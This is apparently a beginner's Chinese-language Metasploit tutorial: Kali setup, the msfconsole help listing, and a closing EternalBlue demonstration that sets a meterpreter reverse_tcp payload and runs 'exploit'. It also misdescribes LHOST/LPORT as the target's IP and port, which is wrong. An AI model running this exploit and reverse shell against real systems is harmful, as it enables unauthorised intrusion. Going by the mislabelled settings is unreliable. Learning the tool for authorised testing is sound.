Metasploit教程

##写在前言

Knowledge is power, especially when it’s shared. A collaboration between the open source community and Rapid7, Metasploit helps security teams do more than just verify vulnerabilities, manage security assessments, and improve security awareness; it empowers and arms defenders to always stay one step (or two) ahead of the game.

安装metasploit

强烈推荐使用kali Linux系统，我个人发自内心的觉得他超级好用，抛开自带的200多个渗透工具，他也是非常强大的系统。
不说废话了，我们先来下载kali的系统，我这边是直接下载了kali的虚拟机配置，下面：
kali linux 下载
VMware下载
下载完以后，在kali linux里面就会自带metasploit工具，同时还有nmap、netcat等网络安全工具，可以配合着使用

启动metasploit

首先我们先启动Kali Linux，我们可以看到是这样的

默认的账号和密码都是kali，我们输入完以后进入系统，先点这里，在此输入自己的账号密码（kali）

提前说明一下，这里是使用了root权限，防止我们某些操作因为权限问题执行不了
kali命令行的复制是ctrl+shift+c，粘贴同理ctrl+shift+v

我们输入msfconsole，进入到msf界面

再接着，我们可以查看help，具体用法也可以在官网查看

msf_help

Core Commands
=============

1. Command Description
2. ------- -----------
3. ? Help menu
4. banner Display an awesome metasploit banner
5. cd Change the current working directory
6. color Toggle color
7. connect Communicate with a host
8. debug Display information useful for debugging
9. exit Exit the console
10. features Display the list of not yet released features that can be opted in to
11. get Gets the value of a context-specific variable
12. getg Gets the value of a global variable
13. grep Grep the output of another command
14. help Help menu
15. history Show command history
16. load Load a framework plugin
17. quit Exit the console
18. repeat Repeat a list of commands
19. route Route traffic through a session
20. save Saves the active datastores
21. sessions Dump session listings and display information about sessions
22. set Sets a context-specific variable to a value
23. setg Sets a global variable to a value
24. sleep Do nothing for the specified number of seconds
25. spool Write console output into a file as well the screen
26. threads View and manipulate background threads
27. tips Show a list of useful productivity tips
28. unload Unload a framework plugin
29. unset Unsets one or more context-specific variables
30. unsetg Unsets one or more global variables
31. version Show the framework and console library version numbers
34. Command Description
35. ------- -----------
36. advanced Displays advanced options for one or more modules
37. back Move back from the current context
38. clearm Clear the module stack
39. favorite Add module(s) to the list of favorite modules
40. info Displays information about one or more modules
41. listm List the module stack
42. loadpath Searches for and loads modules from a path
43. options Displays global options or for one or more modules
44. popm Pops the latest module off the stack and makes it active
45. previous Sets the previously loaded module as the current module
46. pushm Pushes the active or list of modules onto the module stack
47. reload_all Reloads all modules from all defined module paths
48. search Searches module names and descriptions
49. show Displays modules of a given type, or all modules
50. use Interact with a module by name or search term/index
54. Command Description
55. ------- -----------
56. handler Start a payload handler as job
57. jobs Displays and manages jobs
58. kill Kill a job
59. rename_job Rename a job
64. Command Description
65. ------- -----------
66. makerc Save commands entered since start to a file
67. resource Run the commands stored in a file
72. Command Description
73. ------- -----------
74. analyze Analyze database information about a specific address or address range
75. db_connect Connect to an existing data service
76. db_disconnect Disconnect from the current data service
77. db_export Export a file containing the contents of the database
78. db_import Import a scan result file (filetype will be auto-detected)
79. db_nmap Executes nmap and records the output automatically
80. db_rebuild_cache Rebuilds the database-stored module cache (deprecated)
81. db_remove Remove the saved data service entry
82. db_save Save the current data service connection as the default to reconnect on startup
83. db_status Show the current data service status
84. hosts List all hosts in the database
85. loot List all loot in the database
86. notes List all notes in the database
87. services List all services in the database
88. vulns List all vulnerabilities in the database
89. workspace Switch between database workspaces
94. Command Description
95. ------- -----------
96. creds List all credentials in the database
101. Command Description
102. ------- -----------
103. edit Edit the current module or a file with the preferred editor
104. irb Open an interactive Ruby shell in the current context
105. log Display framework.log paged to the end if possible
106. pry Open the Pry debugger on the current module or Framework
107. reload_lib Reload Ruby library files from specified paths
108. time Time how long it takes to run a particular command

复制代码

msfconsole is the primary interface to Metasploit Framework. There is quite a
lot that needs go here, please be patient and keep an eye on this space!

Many commands and options that take a list of things can use ranges to avoid
having to manually list each desired thing. All ranges are inclusive.

Commands that take a list of IDs can use ranges to help. Individual IDs must be
separated by a , (no space allowed) and ranges can be expressed with either
- or ...

There are several ways to specify ranges of IP addresses that can be mixed
together. The first way is a list of IPs separated by just a (ASCII space),
with an optional ,. The next way is two complete IP addresses in the form of
BEGINNING_ADDRESS-END_ADDRESS like 127.0.1.44-127.0.2.33. CIDR
specifications may also be used, however the whole address must be given to
Metasploit like 127.0.0.0/8 and not 127/8, contrary to the RFC.
Additionally, a netmask can be used in conjunction with a domain name to
dynamically resolve which block to target. All these methods work for both IPv4
and IPv6 addresses. IPv4 addresses can also be specified with special octet
ranges from the NMAP target
specification

Terminate the first sessions:

1. sessions -k 1

复制代码

Stop some extra running jobs:

1. jobs -k 2-6,7,8,11..15

复制代码

Check a set of IP addresses:

1. check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255

复制代码

Target a set of IPv6 hosts:

1. set RHOSTS fe80::3990:0000/110, ::1-::f0f0

复制代码

Target a block from a resolved domain name:

1. set RHOSTS www.example.test/24

复制代码

设置载荷

常用载荷
载荷的使用方法：
set payload 载荷（就是路径）

Payload：Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码，而在Metasploit中Payload是一种特殊模块，它们能够以漏洞利用模块运行，并能够利用目标系统中的安全漏洞实施攻击。简而言之，这种漏洞利用模块可以访问目标系统，而其中的代码定义了Payload在目标系统中的行为。
  Shellcode：Shellcode是payload中的精髓部分，在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下，目标系统执行了shellcode这一组指令之后，才会提供一个命令行shell。

设置常用的一些必须项

设置靶机ip set lhost 靶机ip
设置靶机端口set lport 你想要攻击的端口 （附常用端口大全）
查看需要配置的项：options
设置模块：use 路径
这里我以永恒之蓝的举例：

永恒之蓝攻击演示

msf6 exploit(windows/smb/ms17_010_eternalblue) > options

1. Module options (exploit/windows/smb/ms17_010_eternalblue):
3. Name Current Setting Required Description
4. ---- --------------- -------- -----------
5. RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
6. RPORT 445 yes The target port (TCP)
7. SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedde
8. d Standard 7 target machines.
9. SMBPass no (Optional) The password for the specified username
10. SMBUser no (Optional) The username to authenticate as
11. VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded St
12. andard 7 target machines.
13. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 t
14. arget machines.
17. Payload options (windows/x64/meterpreter/reverse_tcp):
19. Name Current Setting Required Description
20. ---- --------------- -------- -----------
21. EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
22. LHOST 192.168.***.*** yes The listen address (an interface may be specified)
23. LPORT 4444 yes The listen port
26. Exploit target:
28. Id Name
29. -- ----
30. 0 Automatic Target
34. View the full module info with the info, or info -d command.

复制代码

msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168…
lhost => 192.168…
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 1145
lport => 1145
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

最后输入exploit开启攻击

PS：第一次写文章还请大佬见谅